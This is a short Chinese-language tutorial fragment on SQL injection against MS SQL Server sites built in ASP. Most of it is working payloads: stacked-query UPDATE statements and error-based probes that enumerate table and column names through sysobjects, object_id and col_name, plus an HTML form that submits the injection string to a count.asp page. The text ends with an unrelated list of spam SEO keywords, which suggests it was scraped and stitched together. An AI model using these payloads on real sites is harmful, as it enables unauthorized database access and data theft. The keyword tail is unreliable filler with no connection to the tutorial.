;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。 post.htm内容:主要是方便输入。
<iframe name=p src=# width="100%" height=350 frameborder=0></iframe><br><form action=http://test.com/count.asp target=p> <input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750"><input type=submit value=">>>"><input type=hidden name=fno value="2, 3"></form>
枚举出他的数据表名:id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。 读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5) 读出第二个表,^^^^^^一个个的读出,直到没有为止。 读字段是这样:id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名 id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- 然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
关键字:软件 服务器 qq os msn dos 美女 电影 小说 音乐 无极 汽车 MP3